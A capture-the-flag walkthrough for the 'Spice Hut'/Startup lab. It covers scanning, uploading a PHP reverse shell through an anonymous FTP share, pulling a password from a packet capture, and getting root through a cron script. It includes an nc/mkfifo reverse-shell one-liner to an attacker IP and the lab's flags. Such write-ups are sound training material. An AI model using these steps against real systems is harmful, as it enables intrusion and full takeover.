

Intro:

We are Spice Hut, a new startup company that just made it big! We offer a variety of spices and club sandwiches (in case you get hungry), but that is not why you are here. To be truthful, we aren't sure if our developers know what they are doing and our security concerns are rising. We ask that you perform a thorough penetration test and try to own root. Good luck!

1.Enumeration

First, perform a Nmap scan to the IP provided, here are the results:

```

L$ sudo nmap -A -T4 10.48.134.158
[sudo] password for hexbit:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-30 15:17 +0300
Nmap scan report for 10.48.134.158
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
|_ ftp-syst:
|_ STAT:
|_ FTP server status:
|_   Connected to 192.168.171.198
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   At session startup, client count was 2
|_   vsFTPD 3.0.3 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxrwxrwx    2 65534    65534      4096 Nov 12  2020 ftp [NSE: writeable]
|_ -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_ -rw-r--r--    1 0        0          208 Nov 12  2020 notice.txt
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|_   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_   256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Maintenance
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/30%OT=21%CT=1%CU=31282%PV=Y%DS=3%DC=T%G=Y%TM=69CA6A2
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=106%TI=Z%II=I%TS=8)SEQ(SP=1
OS:01%GCD=1%ISR=10C%TI=Z%II=I%TS=8)SEQ(SP=106%GCD=1%ISR=107%TI=Z%CI=I%II=I%
OS:TS=8)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%II=I%TS=8)SEQ(SP=F9%GCD=1%ISR=10D%TI=
OS:Z%CI=I%II=I%TS=8)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4
OS:E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF
OS:%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NNSNW7%CC=Y%Q=)T1(R=Y%DF
OS:=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=0%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=0%RD=0%Q=)T6(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=0%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
OS:IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT      ADDRESS
1   323.23 ms  192.168.128.1
2   ...
3   323.52 ms  10.48.134.158

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.25 seconds

```

Second, check the ip in a web browser and we get this website:

No spice here!

Please excuse us as we develop our site. We want to make it the most stylish and convenient way to buy peppers. Plus, we need a web developer. BTW if you're a web developer, [contact us](#). Otherwise, don't worry. We'll be online shortly!

— Dev Team

```
1 <!doctype html>
2 <title>Maintenance</title>
3 <style>
4   body { text-align: center; padding: 150px; }
5   h1 { font-size: 50px; }
6   body { font: 20px Helvetica, sans-serif; color: #333; }
7   article { display: block; text-align: left; width: 650px; margin: 0 auto; }
8   a { color: #d81b60; text-decoration: none; }
9   a:hover { color: #333; text-decoration: none; }
10 </style>
11
12 <article>
13   <h1>No spice here!</h1>
14   <div>
15     <!--when are we gonna update this?-->
16     <p>Please excuse us as we develop our site. We want to make it the most stylish and convenient way to buy peppers. Plus, we need a web developer. BTW if you're a web developer, <a href="mailto:f">contact us.</a> Otherwise, don't worry. We'll be on
17     <p>Pandaish, Dev Team</p>
18   </div>
19 </article>
20
```

Third, perform a gobuster scan to identify any more hidden branches for the website:

```
gobuster dir -u http://10.48.134.158 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.48.134.158
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

.htpasswd (Status: 403) [Size: 278]
.htaccess (Status: 403) [Size: 278]
.hta (Status: 403) [Size: 278]
files (Status: 301) [Size: 314] [→ http://10.48.134.158/files/]
index.html (Status: 200) [Size: 808]
server-status (Status: 403) [Size: 278]
Progress: 4750 / 4750 (100.00%)

Finished
```

Go to the files to find this:

Index of /files

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 ftp/	2020-11-12 04:53	-	
 important.jpg	2020-11-12 04:02	246K	
 notice.txt	2020-11-12 04:53	208	

Apache/2.4.18 (Ubuntu) Server at 10.48.134.158 Port 80

In important .jpg is an amongUs meme.

In notice.txt is this message:

Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.

As for ftp:

It has nothing.

For /server-status it says I am forbidden.

After being stuck for a while I realised you can share any files to the website as indicated by the notice. Tried an ftp connection:

```
➤ ftp 10.48.134.158
Connected to 10.48.134.158.
220 (vsFTPD 3.0.3)
Name (10.48.134.158:hexbit): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

2. Exploitation

Got a reverse shell to upload from this link:

<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>

Created a shell.php and transferred it to the ftp directory via ftp:

```

Connected to 10.48.134.158.
220 (vsFTPd 3.0.3)
Name (10.48.134.158:hexbit): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ftp
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||19983|)
150 Ok to send data.
100% |*****|
226 Transfer complete.
5494 bytes sent in 00:00 (7.43 KiB/s)

```

Appeared in browser:

Index of /files/ftp

Name	Last modified	Size	Description
 Parent Directory		-	
 shell.php	2026-03-30 12:51	5.4K	

Apache/2.4.18 (Ubuntu) Server at 10.48.134.158 Port 80

Went to shell.php and got a reverse shell:

```

listening on [any] 1234 ...
connect to [192.168.171.198] from (UNKNOWN) [10.48.134.158] 40788
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
12:55:14 up 39 min, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

```

Looked around and found the recipe:

```

$ ls
bin
boot
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
$ cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.

```

Started searching for user.txt. Didn't find any even after using the find command. But I did find a suspicious.pcapng in incidents. I tried copying it to my machine, but it didn't work, after some research found out that netcat can transfer files too.

```

www-data@startup:/incidents$ ls
ls
suspicious.pcapng
www-data@startup:/incidents$ nc 192.168.171.198 4400 < suspicious.pcapng
nc 192.168.171.198 4400 < suspicious.pcapng
nc -lvp 4400 > sus.pcap
listening on [any] 4400 ...
connect to [192.168.171.198] from (UNKNOWN) [10.48.134.158] 38978

```

Opened it with wireshark:

1	0.000000000	192.168.22.139	13.32.85.44	TCP	56	55280 → 443 [ACK] Seq=1 Ack=1 Win=62788 Len=0	
2	0.000445541	13.32.85.44	192.168.22.139	TCP	62	[TCP ACKed unseen segment] 443 → 55280 [ACK] Seq=1 Ack=2 Win=64240 Len=0	
3	0.256103593	192.168.22.139	104.107.60.16	TCP	56	83750 → 80 [ACK] Seq=1 Ack=1 Win=63056 Len=0	
4	0.256321417	192.168.33.1	192.168.33.10	TCP	68	48974 → 80 [ACK] Seq=1 Ack=1 Win=63 Len=0 Tval=3110690039 TSecr=229190	
5	0.256541722	104.107.60.10	192.168.22.139	TCP	62	[TCP ACKed unseen segment] 80 → 39750 [ACK] Seq=1 Ack=2 Win=64240 Len=0	
6	0.257091538	192.168.33.10	192.168.33.1	TCP	68	[TCP ACKed unseen segment] 80 → 48974 [ACK] Seq=1 Ack=2 Win=235 Len=0 Tval=201748 TSecr=3110638901	
7	0.511755323	192.168.22.139	72.21.91.29	TCP	56	53350 → 80 [ACK] Seq=1 Ack=1 Win=63920 Len=0	
8	0.511897616	192.168.22.139	104.107.60.8	TCP	56	51816 → 80 [ACK] Seq=1 Ack=1 Win=63856 Len=0	
9	0.512458555	72.21.91.29	192.168.22.139	TCP	62	[TCP ACKed unseen segment] 80 → 33350 [ACK] Seq=1 Ack=2 Win=64240 Len=0	
10	0.512893259	104.107.60.8	192.168.22.139	TCP	62	[TCP ACKed unseen segment] 80 → 51816 [ACK] Seq=1 Ack=2 Win=64240 Len=0	
11	0.751344555	192.168.22.139	192.168.22.139	TCP	68	4444 → 40932 [FIN, ACK] Seq=1 Ack=1 Win=64 Len=0 Tval=720575395 TSecr=720532837	
12	0.755611187	192.168.22.139	192.168.22.139	TCP	68	40932 → 4444 [FIN, ACK] Seq=1 Ack=2 Win=64 Len=0 Tval=720575400 TSecr=720575395	
13	0.755630199	192.168.22.139	192.168.22.139	TCP	68	4444 → 40932 [ACK] Seq=2 Ack=2 Win=64 Len=0 Tval=720575400 TSecr=720575400	
14	0.758487307	192.168.33.10	192.168.33.1	HTTP	475	HTTP/1.1 200 OK (text/html)	
15	0.760577919	192.168.33.1	192.168.33.10	TCP	68	[TCP Previous segment not captured] 48974 → 80 [ACK] Seq=2 Ack=408 Win=63 Len=0 Tval=3110690542 TSecr=231873	
16	0.865790760	192.168.33.1	192.168.33.10	HTTP	319	GET /favicon.ico HTTP/1.1	
17	0.886952854	192.168.33.10	192.168.33.1	TCP	68	80 → 48974 [ACK] Seq=408 Ack=253 Win=243 Len=0 Tval=231905 TSecr=3110690609	
18	0.887894163	192.168.33.10	192.168.33.1	HTTP	559	HTTP/1.1 404 Not Found (text/html)	
19	0.897917261	192.168.33.1	192.168.33.10	TCP	68	48974 → 80 [ACK] Seq=253 Ack=899 Win=63 Len=0 Tval=3110690671 TSecr=231905	
20	1.932357455	192.168.22.139	13.32.85.44	TLSv1.2	59	[TCP Previous segment not captured] → Application Data	
21	1.93282124	192.168.22.139	13.32.85.44	TCP	56	55280 → 443 [FIN, ACK] Seq=26 Ack=1 Win=62788 Len=0	
22	1.933407446	192.168.22.139	72.21.91.29	TCP	56	[TCP Previous segment not captured] 33350 → 80 [FIN, ACK] Seq=2 Ack=1 Win=63920 Len=0	
23	1.933482763	13.32.85.44	192.168.22.139	TCP	62	443 → 55280 [ACK] Seq=1 Ack=20 Win=64240 Len=0	
24	1.933482877	13.32.85.44	192.168.22.139	TCP	62	443 → 55280 [ACK] Seq=1 Ack=27 Win=64239 Len=0	
25	1.933707456	72.21.91.29	192.168.22.139	TCP	62	80 → 33350 [ACK] Seq=1 Ack=3 Win=63920 Len=0	

Frame 20: Packet, 80 bytes on wire (640 bits), 80 bytes captured (640 bits) on interface any, id 0

Ethernet II, Src: Linux cooked capture v1 (08:00:27:00:00:00), Dst: 192.168.22.139

Internet Protocol Version 4, Src: 192.168.22.139, Dst: 13.32.85.44

Transmission Control Protocol, Src Port: 55280, Dst Port: 443, Seq: 2, Ack: 1, Len: 24

Source Port: 55280

Destination Port: 443

0000 00 04 00 01 00 06 00 0c 20 9f 8c e0 00 00 00 00
0010 45 00 00 40 eb 1c 40 00 40 06 10 1c c0 a0 10 8b E 0 0 0
0020 0d 20 55 2c d7 f9 01 bb 63 62 d4 df 52 f9 8f 3b U 0 0 0
0030 50 15 3c 39 b2 00 00 17 03 03 00 13 af 6d 86 P -9 - -
0040 72 68 46 a2 0b d6 e0 45 7d f2 43 a0 c7 6f 44 f1 rhf 0 0 0

Filtered to find the http packets. And realised someone had done this before. And the used port 4444. Searched for port 4444 (tcp.port == 4444) among the packets opened one of them:

```
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
17:40:21 up 20 min, 1 user, load average: 0.00, 0.03, 0.12
USER      TTY      FROM          LOGIN@      IDLE   JCPU   PCPU WHAT
vagrant pts/0    10.0.2.2      17:21      1:09   0.54s  0.54s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
ls
bin
boot
data
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
$
ls -la
total 96
drwxr-xr-x 26 root root 4096 Oct 2 17:24 .
drwxr-xr-x 26 root root 4096 Oct 2 17:24 ..
drwxr-xr-x 2 root root 4096 Sep 25 08:12 bin
drwxr-xr-x 3 root root 4096 Sep 25 08:12 boot
drwxr-xr-x 1 vagrant vagrant 140 Oct 2 17:24 data
drwxr-xr-x 16 root root 3620 Oct 2 17:20 dev
drwxr-xr-x 95 root root 4096 Oct 2 17:24 etc
drwxr-xr-x 4 root root 4096 Oct 2 17:26 home
drwxr-xr-x 2 www-data www-data 4096 Oct 2 17:24 incidents
```

After being lost for a while, decided to try the password([c4ntg3t3n0ughsp1c3](#)) that they used and it worked:

```
www-data@startup:/incidents$ su lennie
su lennie
Password: c4ntg3t3n0ughsp1c3
lennie@startup:/incidents$
```

Id'd in to lennie, found a user.txt file with the flag: THM{03ce3d619b80ccbf3b7fc81e46c0e79}

3. Privilege escalation

We now need the root flag, so we need to escalate our privileges:

On lennie's page, there is a scripts folder with an interesting folder [planner.sh](#) which runs a cron [print.sh](#). We find that lennie has permissions over the file. If we add a reverse shell to the tab, we might become root:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.171.198 8885
>/tmp/f
```

```
# nc -lvnp 1238
listening on [any] 1238 ...
connect to [192.168.171.198] from (UNKNOWN) [10.48.134.158] 40574
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
root.txt
# cat root.txt
THM{f963aaa6a430f210222158ae15c3d76d}
#
```

4. CTF

THM{f963aaa6a430f210222158ae15c3d76d}

5. Remarks

This was a lot harder than my previous ctf's. And it was marked as easy. Refreshed me on crons.